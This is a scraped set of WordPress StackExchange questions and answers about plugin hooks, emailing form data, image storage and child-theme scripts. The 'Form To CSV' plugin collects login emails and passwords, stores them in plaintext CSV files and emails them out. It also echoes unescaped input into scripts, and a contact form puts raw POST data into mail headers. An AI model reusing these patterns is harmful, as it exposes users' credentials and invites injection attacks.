"https://wordpress.stackexchange.com/questions/255077",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/101491/"
]
| I've developed some functionality for a company website around job postings. There is a custom post type, with specialized fields, and a widget that displays a summary of current job postings. It's 5 functions and a widget class that was hobbled together from various websites etc and dumped into functions.php. It works.
Now I would like to extract it to a plugin but my understanding is weak... My first attempt was to just dump it into a php file with a header, but that threw a bunch of errors when I tried to activate it. Then I put all of the function hooks into the activation hook for the plugin - which doesn't throw any errors, but doesn't seem to do anything either.
```
<?php
/**
* Plugin Name: My Careers Plugin
* Description: This plugin adds a Careers Post Type and careers summary widget .
* Version: 1.0.0
* Author: Marc Pelletier
*/
// Exit if accessed directly
if ( !defined( 'ABSPATH' ) ) exit;
function activate_my_careers() {
add_action( 'init', 'create_career_posttype');
add_action( 'admin_bar_menu', 'add_careers_to_admin_bar', 1000000);
add_action( 'add_meta_boxes', 'add_careers_meta_box' );
add_action( 'save_post', 'save_careers_meta_box' );
register_widget('CurrentJobs_Widget');
}
register_activation_hook( __FILE__, 'activate_my_careers' );
function create_career_posttype() {
$args = array(
'labels' => array(
'name' => __('Careers'),
'singular_name' => __('Careers'),
'all_items' => __('All Job Postings'),
'add_new_item' => __('Add New Job Posting'),
'edit_item' => __('Edit Job Posting'),
'view_item' => __('View Job Posting')
),
'public' => true,
'has_archive' => true,
'rewrite' => array('slug' => 'careers'),
'show_ui' => true,
'show_in_menu' => true,
'show_in_nav_menus' => true,
'show_in_admin_bar' => true,
'capability_type' => 'post',
'supports' => array('title', 'editor', 'thumbnail'),
'exclude_from_search' => true,
'menu_position' => 6,
'has_archive' => true,
'menu_icon' => 'dashicons-universal-access'
);
register_post_type('careers', $args);
}
function add_careers_to_admin_bar($wp_admin_bar){
$wp_admin_bar->add_node(
array(
'title' => '<span class="dashicons-before dashicons-universal-access" >Careers</span>'
)
);
$wp_admin_bar->add_node(
array(
'parent' => 'careers',
'title' => 'All Job Postings',
'href' => get_admin_url().'edit.php?post_type=careers'
)
);
$wp_admin_bar->add_node(
array(
'parent' => 'careers',
'title' => 'New Job Posting',
'href' => get_admin_url().'post-new.php?post_type=careers'
)
);
}
function add_careers_meta_box(){
add_meta_box( 'job-details', 'Job Details', 'careers_meta_box_cb', 'Careers', 'normal', 'default');
}
function careers_meta_box_cb($post){
$Post_ID = get_post_custom( $post->ID );
$salary = isset( $Post_ID['salary'] ) ? esc_attr( $Post_ID['salary'][0] ) : "";
$salary_unit = isset( $Post_ID['salary_unit'] ) ? esc_attr( $Post_ID['salary_unit'][0] ) : "hr";
$qualifications = isset( $Post_ID['qualifications'] ) ? esc_attr( $Post_ID['qualifications'][0] ) : "";
//echo $qualifications;
$desirables = isset( $Post_ID['desirables'] ) ? esc_attr( $Post_ID['desirables'][0] ) : "";
//echo $desirables;
wp_nonce_field( 'job_details_nonce_action', 'job_details_nonce' );
$html = '';
$html .= '<label class="h2">Salary</label>';
$html .= '<input type="number" step="0.05" name="salary" id="salary" style="margin-top:15px; margin-left:9px; margin-bottom:10px;" value="'. $salary .'" />';
$html .= '<label> / </label>';
$html .= '<input type="text" list=salary_units name="salary_unit" id="salary_unit" style="margin-left:9px; margin-top:15px;" value="'. $salary_unit .'" /></br>';
$html .= '<datalist id=salary_units><option>hr<option>day<option>month<option>annum</datalist>';
$html .= '<label class="h2"> <strong>Required </strong>Qualifications (one per line) </label></br>';
$html .= '<textarea name="qualifications" id="qualifications" cols="80" rows="5" style="margin-left:9px; margin-top:15px";>'.$qualifications.'</textarea></br>';
$html .= '<label class="h2">Additional Qualifications (one per line) </label></br>';
$html .= '<textarea name="desirables" id="desirables" cols="80" rows="5" style="margin-left:9px; margin-top:15px";>'.$desirables.'</textarea></br>';
echo $html;
}
function save_careers_meta_box($post_id){
// Bail if we're doing an auto save
if( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return;
// if our nonce isn't there, or we can't verify it, bail
if( !isset( $_POST['job_details_nonce'] ) || !wp_verify_nonce( $_POST['job_details_nonce'], 'job_details_nonce_action' ) ) return;
// if our current user can't edit this post, bail
if( !current_user_can( 'edit_post' ) ) return;
if(isset( $_POST['salary'] ) )
update_post_meta( $post_id, 'salary', $_POST['salary']);
if(isset( $_POST['salary_unit'] ) )
update_post_meta( $post_id, 'salary_unit', $_POST['salary_unit']);
if(isset( $_POST['qualifications'] ) )
update_post_meta( $post_id, 'qualifications', $_POST['qualifications']);
if(isset( $_POST['desirables'] ) )
update_post_meta( $post_id, 'desirables', $_POST['desirables']);
}
class CurrentJobs_Widget extends WP_Widget{
function __construct() {
parent::__construct(
'currentjobs_widget', // Base ID
'Current Jobs Widget', // Name
array('description' => __( 'Displays your latest listings. Outputs the title and expiry per listing'))
);
}
function update($new_instance, $old_instance) {
$instance = $old_instance;
$instance['title'] = strip_tags($new_instance['title']);
$instance['numberOfListings'] = strip_tags($new_instance['numberOfListings']);
return $instance;
}
function form($instance) {
if( $instance) {
$title = esc_attr($instance['title']);
$numberOfListings = esc_attr($instance['numberOfListings']);
} else {
$title = '';
$numberOfListings = '';
}
?>
<p>
<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title', 'currentjobs_widget'); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id('numberOfListings'); ?>"><?php _e('Number of Listings:', 'currentjobs_widget'); ?></label>
<select id="<?php echo $this->get_field_id('numberOfListings'); ?>" name="<?php echo $this->get_field_name('numberOfListings'); ?>">
<?php for($x=1;$x<=10;$x++): ?>
<option <?php echo $x == $numberOfListings ? 'selected="selected"' : '';?> value="<?php echo $x;?>"><?php echo $x; ?></option>
<?php endfor;?>
</select>
</p>
<?php
}
function widget($args, $instance) {
extract( $args );
$title = apply_filters('widget_title', $instance['title']);
$numberOfListings = $instance['numberOfListings'];
echo $before_widget;
if ( $title ) {
echo $before_title . $title . $after_title;
}
$this->getJobListings($numberOfListings);
echo $after_widget;
}
function getJobListings($numberOfListings) { //html
global $post;
$listings = new WP_Query();
$listings->query('post_type=careers&posts_per_page=' . $numberOfListings );
if($listings->found_posts > 0) {
echo '<ul class="currentjobs_widget">';
while ($listings->have_posts()) {
$listings->the_post();
$listItem = '<li>' . $image;
$listItem .= '<a href="' . get_permalink() . '">';
$listItem .= get_the_title() . '</a></br>';
$listItem .= '<span>Added ' . get_the_date() . '</span></li>';
echo $listItem;
}
echo '</ul>';
wp_reset_postdata();
}else{
echo '<p style="padding:25px;">No postings found</p>';
}
}
} //end class CurrentJobs_Widget
```
Suggestions for further reading are great. | If all you want is for your plugin to work, simply
replace
```
register_activation_hook( __FILE__, 'activate_my_careers' );
```
with
```
add_action( 'plugins_loaded', 'activate_my_careers' );
```
If you want to understand why your new plugin isn't working, then you need to understand WordPress hooks. I would encourage you to carefully read the [WordPress Plugin API](https://codex.wordpress.org/Plugin_API/).
The first hook available to (non- must-use) plugins is `plugins_loaded`. When I write plugins, the only thing I put into the main plugin file are adding actions to the activation, deactivation, and plugins\_loaded hooks.
The function/method called by the plugins\_loaded hook should load your plugin by adding actions and filters to other hooks. By using hooks you allow yourself and other plugins the option of removing those hooks before they fire. This makes your plugin extensible.
The key is to know which hooks fire when and to add functions/methods to specific hooks that only get fired when you want the function/method to be available.
So for your example, the only action we want to add when the main plugin file is included is a hook for plugins\_loaded. The callback for that hook will then add the other actions needed for your plugin to work.
The reason your plugin isn't working is because the activation hook is only fired immediately after a plugin is activated. Once the plugin is activated, the only other hook called is shutdown before you're redirected to another page. From then on, the activation hook doesn't fire and since it doesn't none of your other actions will fire either. |
255,088 | <p>So I'm developing this plugin to take the input of a form, puts it in a .CSV document then send the .CSV document over via email. And all this works fine. However, on pressing submit, a rouge file downloads named 'download'. When this file is opened up in my text editor, it seems to just be the complied code of the page. It's odd. Here's the source code to my plugin:</p>
<p>form-to-csv.php</p>
<pre><code><?php
/*
Plugin Name: Form To CSV
Plugin URI: N/A
Description: A plugin to put login credentials in CSV and send via email, built originally for Relo Solutions Group.
Version: 1
Author: Joseph Roberts
Author URI: http://josephrobertsdesigns.com
License: GPL2
*/
// Make sure we don't expose any info if called directly
if ( !function_exists( 'add_action' ) ) {
echo 'Hi there! I\'m just a plugin, not much I can do when called directly.';
exit;
}
define( 'FORM_TO_CSV__VERSION', '1' );
define( 'FORM_TO_CSV__MINIMUM_WP_VERSION', '4.7.2' );
define( 'FORM_TO_CSV__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'FORM_TO_CSV__DELETE_LIMIT', 100000 );
register_activation_hook( __FILE__, array( 'Form_To_CSV', 'plugin_activation' ) );
register_deactivation_hook( __FILE__, array( 'Form_To_CSV', 'plugin_deactivation' ) );
require_once( FORM_TO_CSV__PLUGIN_DIR . 'form-to-csv_run.php' );
</code></pre>
<p>And also the form-to-csv_run.php file, which is where I believe the issue resides</p>
<pre><code><?php
function formToCsv_shortcode() {
?>
<style>
/* ---------- LOGIN-FORM ---------- */
#login-form {
width: 300px;
background-color:#ececec;
margin:100px auto;
}
#login-form h3 {
background-color: #282830;
border-radius: 5px 5px 0 0;
color: #fff;
font-size: 14px;
padding: 20px;
text-align: center;
text-transform: uppercase;
}
#login-form fieldset {
background: inherit;
border-radius: 0 0 5px 5px;
padding: 20px;
position: relative;
}
#login-form fieldset:before {
background-color: inherit;
content: "";
height: 8px;
left: 50%;
margin: -4px 0 0 -4px;
position: absolute;
top: 0;
-webkit-transform: rotate(45deg);
-moz-transform: rotate(45deg);
-ms-transform: rotate(45deg);
-o-transform: rotate(45deg);
transform: rotate(45deg);
width: 8px;
}
#login-form input {
font-size: 14px;
}
#login-form input[type="email"],
#login-form input[type="password"] {
border: 1px solid #dcdcdc;
padding: 12px 10px;
width: 100%;
}
#login-form input[type="email"] {
border-radius: 3px 3px 0 0;
}
#login-form input[type="password"] {
border-top: none;
border-radius: 0px 0px 3px 3px;
}
#login-form input[type="submit"] {
background: #1dabb8;
border-radius: 3px;
color: #fff;
float: right;
font-weight: bold;
margin-top: 20px;
padding: 12px 20px;
}
#login-form input[type="submit"]:hover {
background: #198d98;
}
#login-form footer {
font-size: 12px;
margin-top: 16px;
}
.info {
background: #e5e5e5;
border-radius: 50%;
display: inline-block;
height: 20px;
line-height: 20px;
margin: 0 10px 0 0;
text-align: center;
width: 20px;
}
</style>
<?php
if(isset($_POST['submit'])){
function debug_to_console( $data ) {
if ( is_array( $data ) )
$output = "<script>console.log( 'Debug Objects: " . implode( ',', $data) . "' );</script>";
else
$output = "<script>console.log( 'Debug Objects: " . $data . "' );</script>";
echo $output;
}
//collect form data
$email = $_POST['email'];
$password = $_POST['password'];
//check name is set
if($email ==''){
$error[] = 'Email is required';
debug_to_console($error);
}elseif($password == ''){
$error[] = 'Password is required';
debug_to_console($error);
}
//check for a valid email address
if(!filter_var($email, FILTER_VALIDATE_EMAIL)){
$error[] = 'Please enter a valid email address';
debug_to_console($error);
}
//if no errors carry on
if(!isset($error)){
# set the file name and create CSV file
$FileName = "formdata-".date("d-m-y-h:i:s").".csv";
header('Content-Type: application/csv');
// open the file "demosaved.csv" for writing
$file = fopen(FORM_TO_CSV__PLUGIN_DIR . 'CSVs/' . $FileName, 'w');
// save the column headers
fputcsv($file, array('Email', 'Password'));
// Sample data. This can be fetched from mysql too
$data = array(
array($email, $password)
);
// save each row of the data
foreach ($data as $row)
{
fputcsv($file, $row);
}
// Close the file
fclose($file);
debug_to_console("CSV FILE WAS CREATED.");
// Mail the file
$mailto = "[email protected]";
$subject = "Login Details";
$content = chunk_split(base64_encode(file_get_contents($file)));
$uid = md5(uniqid(time()));
$name = basename($file);
$header = "From: <" . $email . ">\r\n";
$header .= "Reply-To: " . $email . "\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"" . $uid . "\"\r\n\r\n";
$header .= "This is a multi-part message in MIME format.\r\n";
$header .= "--" . $uid . "\r\n";
// You add html "Content-type: text/html; charset=utf-8\n" or for Text "Content-type:text/plain; charset=iso-8859-1\r\n" by I.khan
$header .= "Content-type:text/html; charset=utf-8\n";
$header .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$header .= "--" . $uid . "\r\n";
$header .= "Content-Type: application/octet-stream; name=\"" . $FileName . "\"\r\n"; // use different content types here
$header .= "Content-Transfer-Encoding: base64\r\n";
$header .= "Content-Disposition: attachment; filename=\"" . $FileName . "\"\r\n\r\n"; // For Attachment
$header .= $content . "\r\n\r\n";
$header .= "--" . $uid . "--";
if (mail($mailto, $subject, "", $header)) {
echo "<script>alert('Success');</script>"; // or use booleans here
} else {
echo "<script>alert('Failed');</script>";
}
}
}
?>
<div class="container">
<div id="login-form">
<h3>Login</h3>
<fieldset>
<form action='' method="post">
<input name="email" type="email" required value="Email" onBlur="if(this.value=='')this.value='Email'" onFocus="if(this.value=='Email')this.value='' "> <!-- JS because of IE support; better: placeholder="Email" -->
<input name="password" type="password" required value="Password" onBlur="if(this.value=='')this.value='Password'" onFocus="if(this.value=='Password')this.value='' "> <!-- JS because of IE support; better: placeholder="Password" -->
<input name="submit" type="submit" value="Login">
<footer class="clearfix">
<p><span class="info">?</span><a href="#">Forgot Password</a></p>
</footer>
</form>
</fieldset>
</div> <!-- end login-form -->
</div>
<?php
}
add_shortcode('formToCsv', 'formToCsv_shortcode');
</code></pre>
<p>Also, screenshots of what it does:</p>
<p><img src="https://puu.sh/tMV0m/dd95acba4e.png" alt="the rouge download"></p>
<p>And what that file displays in text editor, I'm 100% sure its just the page im on:</p>
<p><img src="https://puu.sh/tMV8h/ce072dae62.png" alt="the rouge download's source code"></p>
<p>As usual, it's probably just some small mistake somewhere, but I've been banging my head against the wall for a while trying to figure this out. So any help would be greatly appreciated.</p>
<p>UPDATE:</p>
<p>I tried removing the 'header' line and changing the 'mail' line to: </p>
<pre><code>wp_mail($mailto, $subject, $header, '', $file);
</code></pre>
<p>And it doesn't download a file randomly! And it still sends the email, however now the csv file is not attached. So still stumped unfortunately.</p>
| [
{
"answer_id": 255079,
"author": "maheshwaghmare",
"author_id": 52167,
"author_profile": "https://wordpress.stackexchange.com/users/52167",
"pm_score": 0,
"selected": false,
"text": "<p>You can use:</p>\n\n<pre><code>function activate_my_careers() {\n add_action( 'init', 'create_career_posttype');\n add_action( 'admin_bar_menu', 'add_careers_to_admin_bar', 1000000);\n add_action( 'add_meta_boxes', 'add_careers_meta_box' );\n add_action( 'save_post', 'save_careers_meta_box' );\n register_widget('CurrentJobs_Widget'); }\n}\n\nregister_activation_hook( __FILE__, 'activate_my_careers' );\n</code></pre>\n\n<hr>\n\n<p>Where your other functions are defined?</p>\n"
},
{
"answer_id": 255081,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 1,
"selected": false,
"text": "<p>don't wrap <code>actions</code> and <code>register_widget</code> inside the function <code>activate_my_careers</code> but if you do so then also hook this function with one of the hooks. like <code>init</code>, <code>admin_init</code></p>\n\n<pre><code>add_action( 'init', 'activate_my_careers' );\n</code></pre>\n\n<p>or use plugin activation hook. like</p>\n\n<pre><code>register_activation_hook( __FILE__, 'activate_my_careers' );\n</code></pre>\n\n<p>for example</p>\n\n<pre><code>function activate_my_careers() {\n add_action( 'init', 'create_career_posttype');\n add_action( 'admin_bar_menu', 'add_careers_to_admin_bar', 1000000);\n add_action( 'add_meta_boxes', 'add_careers_meta_box' );\n add_action( 'save_post', 'save_careers_meta_box' );\n register_widget('CurrentJobs_Widget');\n}\n</code></pre>\n"
},
{
"answer_id": 255085,
"author": "Gonzoarte",
"author_id": 112419,
"author_profile": "https://wordpress.stackexchange.com/users/112419",
"pm_score": 0,
"selected": false,
"text": "<p>You also need to refer or include all your callbacks (create_career_posttype, add_careers_to_admin_bar, etc)... </p>\n\n<pre><code>function create_career_posttype() {\n //code\n }\nfunction add_careers_to_admin_bar() {\n //code\n }\nfunction add_careers_meta_box() {\n //code\n }\nfunction save_careers_meta_box() {\n //code\n }\nregister_activation_hook( __FILE__, 'activate_my_careers' ); //\n</code></pre>\n"
},
{
"answer_id": 255112,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 3,
"selected": true,
"text": "<p>If all you want is for your plugin to work, simply</p>\n\n<p>replace</p>\n\n<pre><code>register_activation_hook( __FILE__, 'activate_my_careers' );\n</code></pre>\n\n<p>with</p>\n\n<pre><code>add_action( 'plugins_loaded', 'activate_my_careers' );\n</code></pre>\n\n<p>If you want to understand why your new plugin isn't working, then you need to understand WordPress hooks. I would encourage you to carefully read the <a href=\"https://codex.wordpress.org/Plugin_API/\" rel=\"nofollow noreferrer\">WordPress Plugin API</a>.</p>\n\n<p>The first hook available to (non- must-use) plugins is <code>plugins_loaded</code>. When I write plugins, the only thing I put into the main plugin file are adding actions to the activation, deactivation, and plugins_loaded hooks.</p>\n\n<p>The function/method called by the plugins_loaded hook should load your plugin by adding actions and filters to other hooks. By using hooks you allow yourself and other plugins the option of removing those hooks before they fire. This makes your plugin extensible.</p>\n\n<p>The key is to know which hooks fire when and to add functions/methods to specific hooks that only get fired when you want the function/method to be available.</p>\n\n<p>So for your example, the only action we want to add when the main plugin file is included is a hook for plugins_loaded. The callback for that hook will then add the other actions needed for your plugin to work.</p>\n\n<p>The reason your plugin isn't working is because the activation hook is only fired immediately after a plugin is activated. Once the plugin is activated, the only other hook called is shutdown before you're redirected to another page. From then on, the activation hook doesn't fire and since it doesn't none of your other actions will fire either.</p>\n"
}
]
| 2017/02/03 | [
"https://wordpress.stackexchange.com/questions/255088",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112485/"
]
| So I'm developing this plugin to take the input of a form, puts it in a .CSV document then send the .CSV document over via email. And all this works fine. However, on pressing submit, a rouge file downloads named 'download'. When this file is opened up in my text editor, it seems to just be the complied code of the page. It's odd. Here's the source code to my plugin:
form-to-csv.php
```
<?php
/*
Plugin Name: Form To CSV
Plugin URI: N/A
Description: A plugin to put login credentials in CSV and send via email, built originally for Relo Solutions Group.
Version: 1
Author: Joseph Roberts
Author URI: http://josephrobertsdesigns.com
License: GPL2
*/
// Make sure we don't expose any info if called directly
if ( !function_exists( 'add_action' ) ) {
echo 'Hi there! I\'m just a plugin, not much I can do when called directly.';
exit;
}
define( 'FORM_TO_CSV__VERSION', '1' );
define( 'FORM_TO_CSV__MINIMUM_WP_VERSION', '4.7.2' );
define( 'FORM_TO_CSV__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'FORM_TO_CSV__DELETE_LIMIT', 100000 );
register_activation_hook( __FILE__, array( 'Form_To_CSV', 'plugin_activation' ) );
register_deactivation_hook( __FILE__, array( 'Form_To_CSV', 'plugin_deactivation' ) );
require_once( FORM_TO_CSV__PLUGIN_DIR . 'form-to-csv_run.php' );
```
And also the form-to-csv\_run.php file, which is where I believe the issue resides
```
<?php
function formToCsv_shortcode() {
?>
<style>
/* ---------- LOGIN-FORM ---------- */
#login-form {
width: 300px;
background-color:#ececec;
margin:100px auto;
}
#login-form h3 {
background-color: #282830;
border-radius: 5px 5px 0 0;
color: #fff;
font-size: 14px;
padding: 20px;
text-align: center;
text-transform: uppercase;
}
#login-form fieldset {
background: inherit;
border-radius: 0 0 5px 5px;
padding: 20px;
position: relative;
}
#login-form fieldset:before {
background-color: inherit;
content: "";
height: 8px;
left: 50%;
margin: -4px 0 0 -4px;
position: absolute;
top: 0;
-webkit-transform: rotate(45deg);
-moz-transform: rotate(45deg);
-ms-transform: rotate(45deg);
-o-transform: rotate(45deg);
transform: rotate(45deg);
width: 8px;
}
#login-form input {
font-size: 14px;
}
#login-form input[type="email"],
#login-form input[type="password"] {
border: 1px solid #dcdcdc;
padding: 12px 10px;
width: 100%;
}
#login-form input[type="email"] {
border-radius: 3px 3px 0 0;
}
#login-form input[type="password"] {
border-top: none;
border-radius: 0px 0px 3px 3px;
}
#login-form input[type="submit"] {
background: #1dabb8;
border-radius: 3px;
color: #fff;
float: right;
font-weight: bold;
margin-top: 20px;
padding: 12px 20px;
}
#login-form input[type="submit"]:hover {
background: #198d98;
}
#login-form footer {
font-size: 12px;
margin-top: 16px;
}
.info {
background: #e5e5e5;
border-radius: 50%;
display: inline-block;
height: 20px;
line-height: 20px;
margin: 0 10px 0 0;
text-align: center;
width: 20px;
}
</style>
<?php
if(isset($_POST['submit'])){
function debug_to_console( $data ) {
if ( is_array( $data ) )
$output = "<script>console.log( 'Debug Objects: " . implode( ',', $data) . "' );</script>";
else
$output = "<script>console.log( 'Debug Objects: " . $data . "' );</script>";
echo $output;
}
//collect form data
$email = $_POST['email'];
$password = $_POST['password'];
//check name is set
if($email ==''){
$error[] = 'Email is required';
debug_to_console($error);
}elseif($password == ''){
$error[] = 'Password is required';
debug_to_console($error);
}
//check for a valid email address
if(!filter_var($email, FILTER_VALIDATE_EMAIL)){
$error[] = 'Please enter a valid email address';
debug_to_console($error);
}
//if no errors carry on
if(!isset($error)){
# set the file name and create CSV file
$FileName = "formdata-".date("d-m-y-h:i:s").".csv";
header('Content-Type: application/csv');
// open the file "demosaved.csv" for writing
$file = fopen(FORM_TO_CSV__PLUGIN_DIR . 'CSVs/' . $FileName, 'w');
// save the column headers
fputcsv($file, array('Email', 'Password'));
// Sample data. This can be fetched from mysql too
$data = array(
array($email, $password)
);
// save each row of the data
foreach ($data as $row)
{
fputcsv($file, $row);
}
// Close the file
fclose($file);
debug_to_console("CSV FILE WAS CREATED.");
// Mail the file
$mailto = "[email protected]";
$subject = "Login Details";
$content = chunk_split(base64_encode(file_get_contents($file)));
$uid = md5(uniqid(time()));
$name = basename($file);
$header = "From: <" . $email . ">\r\n";
$header .= "Reply-To: " . $email . "\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"" . $uid . "\"\r\n\r\n";
$header .= "This is a multi-part message in MIME format.\r\n";
$header .= "--" . $uid . "\r\n";
// You add html "Content-type: text/html; charset=utf-8\n" or for Text "Content-type:text/plain; charset=iso-8859-1\r\n" by I.khan
$header .= "Content-type:text/html; charset=utf-8\n";
$header .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$header .= "--" . $uid . "\r\n";
$header .= "Content-Type: application/octet-stream; name=\"" . $FileName . "\"\r\n"; // use different content types here
$header .= "Content-Transfer-Encoding: base64\r\n";
$header .= "Content-Disposition: attachment; filename=\"" . $FileName . "\"\r\n\r\n"; // For Attachment
$header .= $content . "\r\n\r\n";
$header .= "--" . $uid . "--";
if (mail($mailto, $subject, "", $header)) {
echo "<script>alert('Success');</script>"; // or use booleans here
} else {
echo "<script>alert('Failed');</script>";
}
}
}
?>
<div class="container">
<div id="login-form">
<h3>Login</h3>
<fieldset>
<form action='' method="post">
<input name="email" type="email" required value="Email" onBlur="if(this.value=='')this.value='Email'" onFocus="if(this.value=='Email')this.value='' "> <!-- JS because of IE support; better: placeholder="Email" -->
<input name="password" type="password" required value="Password" onBlur="if(this.value=='')this.value='Password'" onFocus="if(this.value=='Password')this.value='' "> <!-- JS because of IE support; better: placeholder="Password" -->
<input name="submit" type="submit" value="Login">
<footer class="clearfix">
<p><span class="info">?</span><a href="#">Forgot Password</a></p>
</footer>
</form>
</fieldset>
</div> <!-- end login-form -->
</div>
<?php
}
add_shortcode('formToCsv', 'formToCsv_shortcode');
```
Also, screenshots of what it does:

And what that file displays in text editor, I'm 100% sure its just the page im on:

As usual, it's probably just some small mistake somewhere, but I've been banging my head against the wall for a while trying to figure this out. So any help would be greatly appreciated.
UPDATE:
I tried removing the 'header' line and changing the 'mail' line to:
```
wp_mail($mailto, $subject, $header, '', $file);
```
And it doesn't download a file randomly! And it still sends the email, however now the csv file is not attached. So still stumped unfortunately. | If all you want is for your plugin to work, simply
replace
```
register_activation_hook( __FILE__, 'activate_my_careers' );
```
with
```
add_action( 'plugins_loaded', 'activate_my_careers' );
```
If you want to understand why your new plugin isn't working, then you need to understand WordPress hooks. I would encourage you to carefully read the [WordPress Plugin API](https://codex.wordpress.org/Plugin_API/).
The first hook available to (non- must-use) plugins is `plugins_loaded`. When I write plugins, the only thing I put into the main plugin file are adding actions to the activation, deactivation, and plugins\_loaded hooks.
The function/method called by the plugins\_loaded hook should load your plugin by adding actions and filters to other hooks. By using hooks you allow yourself and other plugins the option of removing those hooks before they fire. This makes your plugin extensible.
The key is to know which hooks fire when and to add functions/methods to specific hooks that only get fired when you want the function/method to be available.
So for your example, the only action we want to add when the main plugin file is included is a hook for plugins\_loaded. The callback for that hook will then add the other actions needed for your plugin to work.
The reason your plugin isn't working is because the activation hook is only fired immediately after a plugin is activated. Once the plugin is activated, the only other hook called is shutdown before you're redirected to another page. From then on, the activation hook doesn't fire and since it doesn't none of your other actions will fire either. |
255,094 | <p>I Have this simple following code :</p>
<pre><code><?php
//if "email" variable is filled out, send email
if (isset($_POST['email'])) {
//Email information
$to = get_option( 'admin_email' );
$headers = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
//send email
wp_mail($to, $subject, $message, $headers);
//Email response
echo "Thank you for contacting us!";
}
//if "email" variable is not filled out, display the form
else {
?>
<form method="post">
Email: <input name="email" type="text" /><br />
Subject: <input name="subject" type="text" /><br />
Message:<br />
<textarea name="message" rows="15" cols="40"></textarea><br />
<input type="submit" value="Submit" />
</form>
<?php
}
?>
</code></pre>
<p>My question is how to retrieve the sender email instead of the generated <code>wp_mail()</code> from $header <code>wordpress@$sitename</code> ?</p>
<p>Thanks in advance for any help.</p>
| [
{
"answer_id": 255093,
"author": "Rarst",
"author_id": 847,
"author_profile": "https://wordpress.stackexchange.com/users/847",
"pm_score": 3,
"selected": true,
"text": "<p>Yes, you should have quite reasonable options to customize upload, there are plenty of existing solutions around.</p>\n\n<p>As for specifics I am not sure on \"database\" as image storage option. They typical solutions that I've heard of are:</p>\n\n<ul>\n<li>dedicated location behind CDN (or some variation of);</li>\n<li>dedicated image storage service, such as Amazon S3.</li>\n</ul>\n"
},
{
"answer_id": 255096,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 0,
"selected": false,
"text": "<p>Yes, this is an interesting option. But what do you mean when you say database, for sure not MySQL database, and I will remove this from any consideration.</p>\n\n<p>MySQL should not grow in size, and should be easy for import export this is why. </p>\n\n<p>Considering that currently, WordPress can work on MySQL and MariaDB mostly I would say you are asking about S3 and CDN like databases, like CloudFlare, that can do that automatic for you btw.</p>\n\n<p>OK, I posted this just to say you may consider GitHub as your CDN.</p>\n"
}
]
| 2017/02/03 | [
"https://wordpress.stackexchange.com/questions/255094",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/102912/"
]
| I Have this simple following code :
```
<?php
//if "email" variable is filled out, send email
if (isset($_POST['email'])) {
//Email information
$to = get_option( 'admin_email' );
$headers = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
//send email
wp_mail($to, $subject, $message, $headers);
//Email response
echo "Thank you for contacting us!";
}
//if "email" variable is not filled out, display the form
else {
?>
<form method="post">
Email: <input name="email" type="text" /><br />
Subject: <input name="subject" type="text" /><br />
Message:<br />
<textarea name="message" rows="15" cols="40"></textarea><br />
<input type="submit" value="Submit" />
</form>
<?php
}
?>
```
My question is how to retrieve the sender email instead of the generated `wp_mail()` from $header `wordpress@$sitename` ?
Thanks in advance for any help. | Yes, you should have quite reasonable options to customize upload, there are plenty of existing solutions around.
As for specifics I am not sure on "database" as image storage option. They typical solutions that I've heard of are:
* dedicated location behind CDN (or some variation of);
* dedicated image storage service, such as Amazon S3. |
255,133 | <p>After hours and hours of trying i can't get my head around it, I'm trying to <code>wp_enqueue_script</code> my custom js but WordPress is always looking for it in the parent theme folder, here is what i have tried lately without any success.</p>
<p>My parent theme is Twentysixteen,</p>
<p>Directly <code>wp_enqueue_script</code>:</p>
<pre><code>function assets() {
wp_enqueue_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
</code></pre>
<p>Register the <code>wp_register_script</code> before <code>wp_enqueue_script</code>:</p>
<pre><code> function assets() {
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
</code></pre>
<p>And also this solution, where I <code>wp_deregister_script</code> the parent theme scripts,</p>
<pre><code>function assets() {
wp_deregister_script('parent-script-handle');
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
</code></pre>
<p>And i'm following up the recommandations form WordPress:</p>
<p><a href="https://developer.wordpress.org/themes/advanced-topics/child-themes/#enqueueing-styles-and-scripts" rel="nofollow noreferrer">https://developer.wordpress.org/themes/advanced-topics/child-themes/#enqueueing-styles-and-scripts</a></p>
<p><strong>EDIT: fixed some coding errors</strong>
Here is my full functions.php content</p>
<pre><code><?php
/**
*
* Functions and definitions.
*
*/
